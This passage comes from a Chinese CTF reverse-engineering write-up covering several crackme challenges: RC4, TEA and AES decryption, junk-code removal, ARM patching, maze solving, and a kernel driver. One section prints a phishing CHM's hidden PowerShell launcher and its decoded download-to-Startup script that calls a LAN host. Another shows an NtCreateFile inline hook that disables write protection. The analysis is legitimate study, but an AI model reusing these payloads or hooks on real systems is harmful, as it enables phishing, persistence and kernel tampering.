0x94, 0xE6, 0x5F, 0x4F, 0xF0, 0x66, 0x78, 0xCC, 0xE9, 0xBE,
0x0B, 0x94, 0x84, 0x0F, 0x33, 0xAE, 0x97, 0x88, 0x45, 0x4E,
0xD2, 0x76, 0x11, 0x8E, 0x99, 0xFC, 0xCA, 0xD5, 0xE6, 0x27,
0x57, 0x74, 0x01, 0x98, 0x0A, 0xCD, 0x7F, 0x0D, 0xA2, 0xC5, 0xAB,
0xA2, 0x05, 0xA2, 0x86, 0xD3, 0x0E, 0x3A, 0x8E, 0xBA, 0xCC, 0x43,
0xA0, 0xBC, 0x30, 0x1C, 0x7B, 0x42, 0x02, 0xDC, 0xA4, 0xAA, 0x06,
0x89, 0x97, 0xAF, 0x81, 0xC0, 0x8A, 0x0B, 0xF7, 0x6C, 0xFE, 0x30,
0x97, 0x17, 0xEA, 0x79, 0x4F, 0x48, 0x5B, 0xD3, 0xCF, 0x91, 0xD6,
0xF6, 0x73, 0xA9, 0x16, 0x46, 0xB7, 0x5E, 0x63, 0x08, 0x3A, 0x1F,
0x0C, 0xB8, 0xE4, 0xBB, 0x52, 0x2E, 0xAE, 0xED, 0x46, 0x51, 0x82,
0x22, 0xE7, 0x70, 0x33, 0x7C, 0xF8, 0x45, 0x45, 0x33, 0xCA, 0x72,
0x66, 0xCF, 0xC9, 0x2E, 0x5C, 0x45, 0xC1, 0xD1, 0x0A, 0x66, 0xD7,
0x51, 0xA1, 0x74, 0xCC, 0x4A, 0x71, 0xDF, 0xDC, 0x76, 0xEA, 0x9A,
0x11, 0x22, 0x1A, 0x6A, 0x5A, 0x75, 0x12, 0x46, 0x38, 0x6C, 0x63,
0x88, 0x75, 0x20, 0xD5, 0x3C, 0xF8, 0xB5, 0x2F, 0x45, 0x6F, 0x34,
0x8F, 0x9D, 0x10, 0xA8, 0xB3, 0x19, 0x4F, 0xCA, 0xEE, 0x0D, 0xD9,
0xE6, 0xA9, 0x76, 0xEE, 0x97, 0x8E, 0x12, 0x91, 0xED, 0x9A, 0x3C,
0x34, 0xA4};
for(int i = 0;i < 256;i++)
{
num[i] = i;
}
for(int i = 0;i < 256;i++)
{
v4 += (num[i] + key[i % 8]);
v5 = num[i];
num[i] = num[v4];
num[v4] = v5;
}
char str[] = "";
unsigned __int8 v7 = 0;
int v6 = 0;
for(int i = 1;i < 257;i++)
{
v7 += num[i];
v6 = num[i];
num[i] = num[v7];
num[v7] = v6;
str[i - 1] = flag[i - 1] ^ num[(num[i] + num[v7]) % 256];
}
printf("%s", str);
}
0x0A reverse_html[N5]
- 题目来源 : 信通院
- 题目描述 : 无
分析
检查一下
发现是 MS Windows HtmlHelp Data,是个 Windows 帮助文档,修改后缀为.chm
可以直接运行
7-zip
软件可以直接提取内容,把里面的htm
文件和doc.hhc
文件提取出来,这几个文件看起来比较可疑
或者使用
HH.EXE -decompile <输出路径> <目标chm文件>
>
检查doc.htm
文件,发现
<object
id="x"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
width="1"
height="1"
>
<param name="Command" value="ShortCut" />
<param name="Button" value="Bitmap::shortcut" />
<param
name="Item1"
value=",cmd.exe,/c START /MIN C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile powershell.exe -WindowStyle hidden -nologo -noprofile -e 一大串base64码"
/>
<param name="Item2" value="273,1,1" />
</object>
查阅资料 钓鱼攻击之:CHM 电子书钓鱼
简单来说,运行 chm 文件时会执行恶意代码
分析一下恶意代码
/c
: cmd.exe 的参数,表示执行完后续命令后关闭命令行窗口。START /MIN
: 启动一个最小化的 cmd.exe 窗口。powershell.exe
: powershell.exe 的路径。-WindowStyle Hidden
: 隐藏 powershell.exe 窗口。-ExecutionPolicy Bypass
: 绕过 PowerShell 的执行策略,允许执行所有脚本,常用于绕过系统的安全限制。-NoLogo
: 启动时不显示 PowerShell 的版权信息。-NoProfile
: 启动时不加载用户的配置文件,确保环境的干净,减少被检测的可能性。powershell.exe -WindowStyle hidden -nologo -noprofile -e 一大串base64码
: 执行一段 powershell 代码,其中一大串 base64 码为恶意代码。-e
: 表示后面的参数是一段 Base64 编码的命令或脚本,PowerShell 会先对其进行 Base64 解码,再当作脚本来执行。
解码一下 base64
Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('nZFda8IwFIbvB/6HUCsom7HthrMdu3B+gDCnWIcXyxhpe9SONgnp0eq/X2sr2/VyGd485zl5m8QMkxgEkmciIO/K4BtCJP45Q0jpGyDdQDC6JJ4aN81rmo5lLhLJo2mcQNvYIyqv17Ndh9r9Ae271HZcb2BZVi+GRO4kVWJn3BHDBHH0CrLqOZZj3bv2I8VUGZ1/ob/W86XtlNjWuz9ZLVeL6ex10mJDpcYcOVtJnsZix+ZxqGUmt8g2sYhknjEfuUYyB3FgSy13mqf13UGxPSQKNA04llqlmAYekW1h07gxQymw+q2P2YKWip+etyoCwyRZwwnbhqnyiEUypOE+LQlmHJ3sIn99SmcigtNi2zZO9anmmNXgv0n/EGSoixXaFeSWDDq1QylQlzSS4ggaC4+plukLz6D/4NfPKuaF7wN2R7X9bw+s7MG2HefSQzWadCcilFEBIMEZi61/AA==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
整理一下
Invoke-Expression $(
New-Object IO.StreamReader (
(
New-Object IO.Compression.DeflateStream (
(
New-Object IO.MemoryStream (
,$([Convert]::FromBase64String('一大串base64码'))
),
[IO.Compression.CompressionMode]::Decompress00
)
),
[Text.Encoding]::ASCII
)
).ReadToEnd();
脚本自解压、动态执行 分析一下
[Convert]::FromBase64String('nZFda8IwF…')
: 将 base64 字符串转换为原始的字节数组New-Object IO.MemoryStream(, <字节数组>)
: 创建一个内存流,并将字节数组写入其中New-Object IO.Compression.DeflateStream(<MemoryStream>, [IO.Compression.CompressionMode]::Decompress)
: 用 .NET 内建的 Deflate 算法把压缩过的数据还原成脚本文本Invoke-Expression $(...)
: 执行
使用powershell
解压
#extract.ps1
$base64 = 'nZFda8IwFIbvB/6HUCsom7HthrMdu3B+gDCnWIcXyxhpe9SONgnp0eq/X2sr2/VyGd485zl5m8QMkxgEkmciIO/K4BtCJP45Q0jpGyDdQDC6JJ4aN81rmo5lLhLJo2mcQNvYIyqv17Ndh9r9Ae271HZcb2BZVi+GRO4kVWJn3BHDBHH0CrLqOZZj3bv2I8VUGZ1/ob/W86XtlNjWuz9ZLVeL6ex10mJDpcYcOVtJnsZix+ZxqGUmt8g2sYhknjEfuUYyB3FgSy13mqf13UGxPSQKNA04llqlmAYekW1h07gxQymw+q2P2YKWip+etyoCwyRZwwnbhqnyiEUypOE+LQlmHJ3sIn99SmcigtNi2zZO9anmmNXgv0n/EGSoixXaFeSWDDq1QylQlzSS4ggaC4+plukLz6D/4NfPKuaF7wN2R7X9bw+s7MG2HefSQzWadCcilFEBIMEZi61/AA=='
$bytes = [Convert]::FromBase64String($base64)
$ms = New-Object System.IO.MemoryStream(,$bytes)
$ds = New-Object System.IO.Compression.DeflateStream($ms, [IO.Compression.CompressionMode]::Decompress)
# 用 StreamReader 读取解压后的文本
$sr = New-Object System.IO.StreamReader($ds, [System.Text.Encoding]::ASCII)
$script = $sr.ReadToEnd()
# 保存解压后的脚本
$script | Out-File .\output -Encoding ASCII
解压后的内容
# $client = new-object System.Net.WebClient;
# $client.DownloadFile("http://192.168.69.129:8000/ielogo.png", "$env:temp/20203917.tmp")
# $client.DownloadFile("http://192.168.69.129:8000/_TMP12", "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\helper.bat")
# read file
$content = [IO.File]::ReadAllText("$pwd\doc.chm")
$idx1 = $content.IndexOf("xxxxxxxx")
$helper = $content.Substring($idx1 + 8)
$cont = [System.Convert]::FromBase64String($helper)
Set-Content "$env:temp\20201122.tmp" $cont -Encoding byte
这几行的意思就是从powershell
执行目录下的doc.chm
找到xxxxxxxx
,然后提取后面的字节保存
用010editor
提取
注意到提取文件的末尾有==
标志,猜测是base64,尝试解码
发现有
.text
,.rdata
,.data
等段,猜测是PE文件,先提取出来
随便拿一个Windows的pe文件,对比发现提取出来的文件少了MZ
头,十六进制是4D 5A
,给提出出来的文件加上
前置工作结束,开始分析PE文件
IDA打开,是个DLL文件,进入DllMain
,跳转StartAddress
,正式开始分析
Findcrypt
插件发现有AES
加密
看看主函数
如果是AES的话,那么sub_5B221140(v6, v8)
应该是密钥扩展,sub_5B221260(v7, v6)
应该是加密函数,最后将加密结果存在v7中
先试试标准AES解密试试运气
以v8为密钥,v9为密文,尝试标准AES解密
运气不错(
flag{thisisit01}
exp
0x0B polyre[N5]
分析
本题应该是控制流平坦化的题目,但我用的IDA9.1,直接自动处理了平坦化,真王朝了吧
核心加密在这
左移一位后最后一位必为1,若原来的数小于0,则异或0xB0004B7679FA26B3
,所得到的最后一位为1
可以通过这个来判断原来的数是小于0还是大于0,进而解密
- 判断最后一位
if (encflag[i] & 0x1)
- 若原来的数小于0
有符号整数正负数分界是0x8000000000000000,若为小数,则十六进制为0xFFFFFFFFFFFFFFFF ~ 0x7FFFFFFFFFFFFFFF
,其中0xFFFFFFFFFFFFFFFF
为-1
转换为2进制后,若为负数,则二进制最高位为1,若为正数,则二进制最高位为0
右移后最高位丢失,需要手动补上
flag[i] = ((encflag[i] ^ 0xB0004B7679FA26B3) >> 1) & 0x8000000000000000;
- 若原来的数大于0
flag[i] = encflag[i] >> 1;
扩展
利用符号执行去除控制流平坦化 idapython脚本解决法 deflat deflat改版
exp
#include <iostream>
int main()
{
uint64_t encflag[] = {
0xBC8FF26D43536296LL, 0x520100780530EE16LL, 0x4DC0B5EA935F08ECLL, 0x342B90AFD853F450LL,
0x8B250EBCAA2C3681LL, 0x55759F81A2C68AE4LL
};
char flag[100] = "";
memset(flag, 0, sizeof(flag));
for (int i = 0; i < 6; i++)
{
for (int j = 0; j < 64; j++)
{
if (encflag[i] & 1)
{
encflag[i] = ((encflag[i] ^ 0xB0004B7679FA26B3) >> 1) | 0x8000000000000000;
}
else
{
encflag[i] = encflag[i] >> 1;
}
}
memcpy(flag + i*8,&encflag[i],8);
}
printf("%s", flag);
}
0x0C GoodRe[N5]
- 题目来源 : [津门杯2021]GoodRe
分析
IDA载入,初步分析有三个主要的函数,每个进去仔细看看
我先将其命名为fun1,fun2,fun3
- fun1
结合图中的解释和外层调用,这个函数将输入的字符分段处理为16进制,例如
>>> 123AABBC
转化为
0x123AABBC
所以大概是个初始化函数,而处理后的数据会在后面的函数中使用
- fun2
这个函数有三处调用
fun2(&v10[v5], v6);
fun2(&v14[v5], 17);
v8 = v15;
fun2(&v15[v5], *p_enc);
其中v10,v14,v15
都是在最开始就已经初始化的数组,通过动调可以看到
动调进入fun2
分析
可以看到fun2
就是将第二个参数写入第一个参数(数组)中,数组分为8字节一组,其中前4字节存储写了多少字节的数据,后四字节存储数据
例如
>>> 1230ABCD
经过fun1处理后
0x1230ABCD
经过fun2处理后
v10[] = {4,0,0,0,0xCD,0xAB,0x30,0x12}
- fun3
在动调fun3
的时候发现了一个特殊点
可以看到有
0x9e3779b9
,这个值是TEA
算法的默认delta
,所以猜测fun3就是个TEA相关的函数
再找找TEA的特征进行验算,拿出一份TEA的实现代码
void encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0; v[1]=v1;
}
看到
现有
v0=v[0], v1=v[1]
k0=k[0], k1=k[1], k2=k[2], k3=k[3]
最后
v[0]=v0; v[1]=v1;
对比伪代码
那么中间的函数先不分析,直接套TEA的实现代码,看看能不能解密
在那之前,需要找Key在哪
const uint32_t key[4] = {0x11,0x11,0x11,0x11};
exp
#include <stdio.h>
#include <iostream>
#include <stdint.h>
void tea_decrypt(uint32_t v[2], const uint32_t k[4]) {
uint32_t v0 = v[0];
uint32_t v1 = v[1];
const uint32_t delta = 0x9e3779b9;
uint32_t sum = delta * 32;
for (int i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
sum -= delta;
}
v[0] = v0;
v[1] = v1;
}
int main(void) {
std::cout.setf(std::ios::uppercase);
uint32_t enc[] = {
0x79AE1A3B, 0x596080D3, 0x80E03E80, 0x846C8D73, 0x21A01CF7, 0xC7CACA32, 0x45F9AC14, 0xC5F5F22F
};
const uint32_t key[4] = {0x11,0x11,0x11,0x11};
for(int i = 0;i < 4;i++)
{
uint32_t v[] = {enc[i * 2], enc[i*2 + 1]};
tea_decrypt(v, key);
std::cout << std::hex << v[0];
std::cout << std::hex << v[1];
}
return 0;
}
输出
7DEA3F6D3B3D6C0C620864ADD2FA2AE1A61F2736F0060DA0B97E8356D017CE59
0x0D reverse_re2[N5]
分析
IDA载入,先定位main
函数地址0x004116A0
无法反编译,存在混淆
main
函数调用了sub_4116CE
,但sub_4116CE
不是正常的函数结构,正常的函数结构应该如下
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
......;函数核心功能
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
分析一下这个函数执行了什么功能
sub_4116CE proc near
mov eax, offset sub_4116CE ; eax = 0x4116CE
mov ebx, offset byte_4116E3
sub ebx, eax
pop eax ; eax = 0x4116CD
inc eax ; eax = 0x4116CE
add eax, 1 ; eax = 0x4116CF
add ebx, eax ; ebx = ebx + eax - eax + 1 = 0x4116E3 + 1
push ebx
retn ; 0x4116E4
endp
看到最后的retn
的返回地址被修改为ebx
(retn
相当于pop eip
,将栈顶的内容传递给程序下一行执行的地址)
也就是call执行完成后执行0x4116E4
,地址处内容
对这一块数据选中按下
U
,再在0x4116E4
按下C
,分析为函数
.text:004116E4 call sub_403E31
调用了sub_403E31
,分析一下这个函数
反调试函数,导致了这个函数过后必定执行
jz short loc_4116F7
,而地址0x4116F7
又是和上面差不多的函数
注意到这些函数没有具体功能,单纯的混淆,直接nop填充,往下找要nop填充的最终地址
从
.text:004116C8
到.text:004117A0
再往后找还有从.text:00411935
到.text:00411A1E
用nop填充,再重载分析程序
成功反编译
有两个主要函数
sub_401C21
,sub_402DEC
- sub_401C21
这不RC4的S盒初始化吗,那另一个函数就是密文构建了,密钥在一开始给了
12345678
密文
0xDD,0x9F,0x58,0xB3,0x72,0xC8,0xB1,0xD2,0x91,0x41,
0x6F,0xBB,0xC9,0x5C,0x7B,0xC1,0x13,0xED,0xFB,0x28,
0xB3,0x10,0xB,0xCF,0x21,0x68,0xA2,0x86,0x6B,0x9E,
0x90,0x1D,0xCA,0xF4,9,0x1E,0xE8,0x79,0x6A
flag{youaretoasdaseazxvzxsw123sssssxxx}
exp
0x0E babyarm[N5]
分析
IDA支持ARM架构,直接载入IDA,main函数无法反编译,有花指令
先对main函数生成函数,再按下F5反编译,找到错误点在哪
第一个出错发生在
0x1094C
处
按照往常经验,直接nop填充掉前4字节
成功了,后续进行相同的操作就行
最终效果,可以分析程序了
注意到一处不同寻常的写法
v11 = v8[n12 % 3];
v11(v9[n12], byte_2103C[n12])
那么v8
就是个存储函数指针的数组,往前找v8
来自memcpy(dest, &src_, 0xC0u);
,那么src_一定是个函数
来到src_
的地址,是一堆未定义的数据,按下P生成函数
反编译后就是
int __fastcall src_(unsigned __int8 a1, unsigned __int8 a2)
{
return ((16 * (a2 & 0xF)) | (a2 >> 4)) ^ ((16 * (a1 & 0xF)) | (a1 >> 4));
}
这里就出现问题了,我的最终目标是三个函数,分别是0x21088
,0x210C8
,0x21108
,但是这里直接分析为了一整个函数
并且我尝试分段解析也无效,所以我来到sub_10684((int)dest);
,这应该对函数进行了修改
很明显对函数字节修改了,尝试进行模拟,写一个idc脚本
#include <idc.idc>
static main() {
auto start, end, ea, orig, idx, k, patched;
start = 0x21088;
end = 0x21147;
for (ea = start; ea <= end; ea++) {
orig = Byte(ea);
idx = (ea - start) % 6;
if (idx == 0) k = 'S';
else if (idx == 1) k = 'E';
else if (idx == 2) k = 'C';
else if (idx == 3) k = 'R';
else if (idx == 4) k = 'E';
else k = 'T';
patched = orig ^ k;
PatchByte(ea, patched);
}
}
运行后变成混乱数据了,这不符合我们预期,那么我们还有最后一条路可以走,那就是这里看到的src_
实际上在main
函数之前就已经进行了初始化
对src_
查找交叉引用
果然在别的地方进行了调用
跟过去发现和我所想一样,
src_
已经被初始化了,先按照他的初始化来模拟一遍
#include <idc.idc>
static main()
{
auto src_start, dest_start, len, i, src_byte, dest_byte, patched;
src_start = 0x10D28; // src__0 起始地址
dest_start = 0x21088; // sub_21088 起始地址
len = 0xC0; // 192 字节长度
for ( i = 0; i < len; i++ ) {
src_byte = Byte(src_start + i); // 读取 src__0 数据
dest_byte = Byte(dest_start + i); // 读取当前 dest 字节
patched = dest_byte ^ src_byte;
PatchByte(dest_start + i, patched);
}
}
再按照sub_10684((int)dest);
来模拟
#include <idc.idc>
static main() {
auto start, end, ea, orig, idx, k, patched;
start = 0x21088;
end = 0x21147;
for (ea = start; ea <= end; ea++) {
orig = Byte(ea);
idx = (ea - start) % 6;
if (idx == 0) k = 'S';
else if (idx == 1) k = 'E';
else if (idx == 2) k = 'C';
else if (idx == 3) k = 'R';
else if (idx == 4) k = 'E';
else k = 'T';
patched = orig ^ k;
PatchByte(ea, patched);
}
}
最终可以分析为3个函数了
- sub_21088(a1,a2) : a1 + a2
- sub_210C8(a1,a2) : a1 - a2
- sub_21108(a1,a2) : a1 ^ a2
这三个函数功能很简单,再往后看吧
来到第一处判断,如图所示
写个脚本先把这一段解决了
int main()
{
char flag[28] = { 0 };
uint32_t cip[] = {0x63,0xd2,0xfe,0x4f,0xb9,0xd9,0x00,0x3f,0xa0,0x80,0x43,0x50,0x55};
uint32_t key[] = { 0xFD, 0x9A, 0x9F, 0xE8, 0xC2, 0xAE, 0x9B, 0x2D, 0xC3,0x11, 0x2A, 0x35, 0xF6 };
for (int i = 0; i <= 12; i++)
{
if (i % 3 == 0)
{
flag[i] = (cip[i] + key[i]);
}
else if (i % 3 == 1)
{
flag[i] = (cip[i] - key[i]);
}
else if (i % 3 == 2)
{
flag[i] = (cip[i] ^ key[i]);
}
}
flag[27] = '\0';
std::cout << flag;
}
输出是乱码,不符合预期
再看后面的部分
进入
sub_10770
函数看看
这下看懂了,本题为迷宫题,那么前面第二处for就是用来初始化迷宫的,运行一下
char cip2[61] = "TTTTTT:000U:T@TTTT:0::::T@TTTT:0000:TTTT@T::::0:TTTT";
cip2[52] = 0x88;
char tmp[] = "T::::::";
for (int i = 0; i < 8; i++)
{
cip2[53 + i] = tmp[i];
}
for (int block = 0; block <= 5; block++)
{
for (int i = 0; i <= 5; i++)
{
if (block % 2 == 0)
{
cip2[block * 6 + i] >>= 1;
}
else
{
cip2[block * 6 + i] ^= 0x10;
}
}
}
由于只初始化了6块,所以这是个6*6的迷宫,迷宫从
E
开始,碰到@
成功,碰到*
错误,那路线就是
aaassssddds
并且这不是明文,在选择路线之前就已经进行了异或操作
异或回去就行
char cip3[] = { 0x53,0x3e,0x20,0x41,0x1e,0x2c,0x24,0xb,0x36,0x28,0x37,0x52,0xe };
char key2[] = "aaassssddds";
for (int i = 0; i < sizeof(key2) / sizeof(char) - 1;i++)
{
char tmp_ = key2[i] ^ cip3[i];
std::cout << tmp_;
}
输出
2_A2m_WoRLD
这明显是后半段,还有前半段应该就是之前第一部分解出来的乱码,那一部分应该有问题,再回去看看
查阅别的wp,发现调用顺序是-,+,xor
,这一处不明白,留个标签,后续尝试一下动态调试
flag{welcome_2_A2m_WoRLD}
exp
#include <iostream>
#include <vector>
int main()
{
char flag[28] = { 0 };
uint32_t cip[] = {0x63,0xd2,0xfe,0x4f,0xb9,0xd9,0x00,0x3f,0xa0,0x80,0x43,0x50,0x55};
uint32_t key1[] = { 0xFD, 0x9A, 0x9F, 0xE8, 0xC2, 0xAE, 0x9B, 0x2D, 0xC3,0x11, 0x2A, 0x35, 0xF6 };
for (int i = 0; i <= 12; ++i)
{
if (i % 3 == 0)
{
flag[i] = (cip[i] - key1[i]);
}
else if (i % 3 == 1)
{
flag[i] = (cip[i] + key1[i]);
}
else if (i % 3 == 2)
{
flag[i] = (cip[i] ^ key1[i]);
}
}
char cip2[61] = "TTTTTT:000U:T@TTTT:0::::T@TTTT:0000:TTTT@T::::0:TTTT";
cip2[52] = 0x88;
char tmp[] = "T::::::";
for (int i = 0; i < 8; i++)
{
cip2[53 + i] = tmp[i];
}
for (int block = 0; block <= 5; block++)
{
for (int i = 0; i <= 5; i++)
{
if (block % 2 == 0)
{
cip2[block * 6 + i] >>= 1;
}
else
{
cip2[block * 6 + i] ^= 0x10;
}
}
}
char cip3[] = { 0x53,0x3e,0x20,0x41,0x1e,0x2c,0x24,0xb,0x36,0x28,0x37,0x52,0xe };
char key2[] = "aaassssddds";
flag[27] = '\0';
std::cout << flag;
for (int i = 0; i < sizeof(key2) / sizeof(char) - 1;i++)
{
char tmp_ = key2[i] ^ cip3[i];
std::cout << tmp_;
}
}
0x0F easy_Maze[N6]
分析
进入
Step_2
函数,将ascll码转为字符,发现为wasd
,结合题目,那就是迷宫题了,所以前面的Step_0
和Step_1
就是迷宫初始化
动态调试获取迷宫图
迷宫有点问题,应该是前面的初始化出问题了,返回去看Step_0
和Step_1
- Step_0
可以看到下标越界了,超出了[7]的范围,最大范围为
6*7 + 7 = 49
,所以应该去堆栈区重新定义数组大小
可以看到下面有一堆连续的数据,这也证明了我们的猜想,同理,另一个数组也要如此操作
如图,迷宫数据正常了
提取出迷宫数据
抄一份解迷宫的脚本,结束
exp
#include <iostream>
#include <queue>
#include <vector>
#define ROW 7
#define COL 7
#define WALL (0x0)
#define GOAL ('E')
#define UP ('w')
#define DOWN ('s')
#define LEFT ('a')
#define RIGHT ('d')
using namespace std;
char maze[ROW][COL] = {
0x1, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1,
0x1, 0x0, 0x1, 0x1, 0x0, 0x0, 0x1,
0x1, 0x1, 0x1, 0x0, 0x1, 0x1, 0x1,
0x0, 0x0, 0x0, 0x1, 0x1, 0x0, 0x0,
0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0,
0x1, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1,
0x1, 0x1, 0x1, 0x1, 0x1, 0x0, GOAL
};
struct Point {
int row, col;
string path; // 路径跟踪变量
};
bool isValid(int row, int col) {
// 检查点是否在地图内并且是可行走的
return row >= 0 && row < ROW && col >= 0 && col < COL && maze[row][col] != WALL;
}
void bfs() {
queue<Point> q;
q.push({ 0, 0, "" }); // 将起点放入队列中
bool visited[ROW][COL] = { false };
visited[0][0] = true; // 该变量用于记录图中的每个节点是否已被访问过
while (!q.empty()) {
Point p = q.front();
q.pop();
int row = p.row;
int col = p.col;
string path = p.path;
// 判断是否到终点了
if (maze[row][col] == GOAL) {
cout << path << endl;
return;
}
// 检查每个方向,如果有效就排队
if (isValid(row - 1, col) && !visited[row - 1][col]) {
q.push({ row - 1, col, path + UP });
visited[row - 1][col] = true;
}
if (isValid(row + 1, col) && !visited[row + 1][col]) {
q.push({ row + 1, col, path + DOWN });
visited[row + 1][col] = true;
}
if (isValid(row, col - 1) && !visited[row][col - 1]) {
q.push({ row, col - 1, path + LEFT });
visited[row][col - 1] = true;
}
if (isValid(row, col + 1) && !visited[row][col + 1]) {
q.push({ row, col + 1, path + RIGHT });
visited[row][col + 1] = true;
}
}
cout << "No path found" << endl;
}
int main() {
bfs();
return 0;
}
0x10 MyDriver2-397[N6]
分析
没做过驱动逆向,跟着别的wp和AI分析一步一步来
首先在DriverEntry
入口处有这几行
DriverObject->MajorFunction[0] = sub_116A4;
DriverObject->MajorFunction[2] = sub_116A4;
DriverObject->MajorFunction[14] = sub_116CC;
DriverObject->DriverUnload = sub_11660;
DRIVER_DISPATCH 回调函数
前三行的大概意思就是当触发MajorFunction[]
中的某个设定值后执行用户回调函数,查阅wdm.h
对应分别为
#define IRP_MJ_CREATE 0x00
#define IRP_MJ_CLOSE 0x02
#define IRP_MJ_DEVICE_CONTROL 0x0e
查阅 IRP 主要功能代码
IRP_MJ_CREATE: 当用户或内核打开设备时(CreateFile) IRP_MJ_CLOSE: 当用户或内核关闭设备时(CloseHandle) IRP_MJ_DEVICE_CONTROL: 当用户或内核发送设备控制请求时(DeviceIoControl)
总结就是
- 收到 打开(Create)或 关闭(Close)请求时,都交给 sub_116A4 去处理;
- 收到 设备控制(IOCTL)请求时,交给 sub_116CC 去处理。
而最后一行意思是当例程被卸载时执行sub_11660
,进入这个函数看看
- sub_11660
进入后先执行了
sub_115DC();
函数,再进入看看
- sub_115DC
总结: 这个函数实现了
InlineHook
劫持了NtCreateFile
函数为Src
通过后面对sub_110B8
函数的分析,Src
就是NtCreateFile
未被修改前的地址,所以这个函数恢复了NtCreateFile
的原有功能
为了方便检索,我后面会贴出伪代码而不是图片
__int64 sub_115DC()
{
PVOID SystemRoutineAddress; // rax
size_t Size; // r8
const void *Src; // rdx
unsigned __int8 CurrentIrql; // bl
unsigned __int64 v4; // rcx
unsigned __int64 v5; // r11
__int64 result; // rax
//查找 NtCreateFile 在内核中的地址
struct _UNICODE_STRING DestinationString; // [rsp+20h] [rbp-18h] BYREF
RtlInitUnicodeString(&DestinationString, L"NtCreateFile");
SystemRoutineAddress = MmGetSystemRoutineAddress(&DestinationString);
//读取补丁数据指针和长度
Size = ::Size;
Src = ::Src;
//保存并切换 IRQL(中断请求级别)
CurrentIrql = KeGetCurrentIrql();
__writecr8(2u);
//禁用写保护(清除 CR0.WP 位)
v4 = __readcr0();
__writecr0(v4 & 0xFFFFFFFFFFFEFFFFuLL);
_disable();
//覆写目标函数的前 Size 字节
memmove(SystemRoutineAddress, Src, Size);
//恢复写保护与中断,并还原 CR0
v5 = __readcr0();
_enable();
__writecr0(v5 | 0x10000);
//恢复原 IRQL 并清理全局变量
result = CurrentIrql;
__writecr8(CurrentIrql);
::Src = 0;
LODWORD(::Size) = 0;
return result;
}
一堆不懂得函数,查阅WINAPI文档
RTL_CONSTANT_STRING 宏创建一个字符串或 Unicode 字符串结构来保存计数字符串 MmGetSystemRoutineAddress 在内核导出表中查找该名字,返回它的函数指针(地址),赋给 SystemRoutineAddress,在这里为"NtCreateFile"
注意到memmove(SystemRoutineAddress, Src, Size);
这一行,这段代码用Src
修改了NtCreateFile
的机器码,实现了函数的劫持
对于这种技术,被定义为InlineHook
,这个函数分析完毕,返回入口处
来到第二个具有用户函数的代码块
if ( v6 >= 0 )
{
sub_11008();
qword_16448 = ExAllocatePool(NonPagedPool, 0x3200u);
memmove(qword_16448, &unk_13110, 0x3200u);
sub_113C8();
RtlInitUnicodeString(&SystemRoutineName, L"NtCreateFile");
SystemRoutineAddress = MmGetSystemRoutineAddress(&SystemRoutineName);
Src = sub_110B8(SystemRoutineAddress);
return 0;
}
- sub_11008
总结: 创建了一个文件,文件名为
C:\WINDOWS\system32\taskhost.exe
,返回0
NTSTATUS sub_11008()
{
_UNICODE_STRING DestinationString; // [rsp+60h] [rbp-58h] BYREF
_IO_STATUS_BLOCK IoStatusBlock; // [rsp+70h] [rbp-48h] BYREF
_OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+80h] [rbp-38h] BYREF
RtlInitUnicodeString(&DestinationString, L"\\??\\C:\\WINDOWS\\system32\\taskhost.exe");
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
ObjectAttributes.Length = 48;
ObjectAttributes.Attributes = 576;
ObjectAttributes.ObjectName = &DestinationString;
return ZwCreateFile(&FileHandle, 0x80000000, &ObjectAttributes, &IoStatusBlock, 0, 0x80u, 0, 3u, 0x40u, 0, 0);
}
一顿操作下来,只是创建了一个文件:C:\WINDOWS\system32\taskhost.exe
,然后返回0,继续看
- sub_113C8
总结: 留意byte_16390
与byte_16310
,很可能是需要的答案
__int64 sub_113C8()
{
PVOID P; // rbx
int v1; // r11d
int v2; // edx
_DWORD *v3; // rax
int v4; // ecx
__int64 n128; // r8
__int64 result; // rax
_BYTE Dst[40]; // [rsp+20h] [rbp-38h] BYREF
memmove(Dst, sub_11DF0, 0x22u);
P = ExAllocatePool(NonPagedPool, 0x22u);
memmove(P, Dst, 0x22u);
dword_16414 = (P)(3435209541LL, 1412570316);
ExFreePoolWithTag(P, 0);
v1 = dword_16414;
v2 = dword_16414 - 0x5C31139B;
v3 = byte_16310;
do
*v3++ ^= v1;
while ( v3 < byte_16390 );
v4 = 0;
SubStr = byte_16310;
word_16432 = v2;
word_16430 = v2;
byte_16310[v2] = 0;
byte_16310[v2 + 1] = 0;
for ( n128 = 0; n128 < 128; ++n128 )
{
byte_16390[n128] ^= byte_16310[v4];
result = ((v4 + 1) / v2);
v4 = (v4 + 1) % v2;
}
return result;
}
这里出现了一些加密或解密操作,像是对密文的加密或解密,留意byte_16390
与byte_16310
- sub_110B8
总结: 前一半构造了v9这个函数,v9会跳转到NtCreateFile的位置 后一半对
NtCreateFile
函数进行了InlineHook
,使程序执行NtCreateFile
函数的时候跳转到sub_114D0
函数的位置
PVOID __fastcall sub_110B8(char *Dst)
{
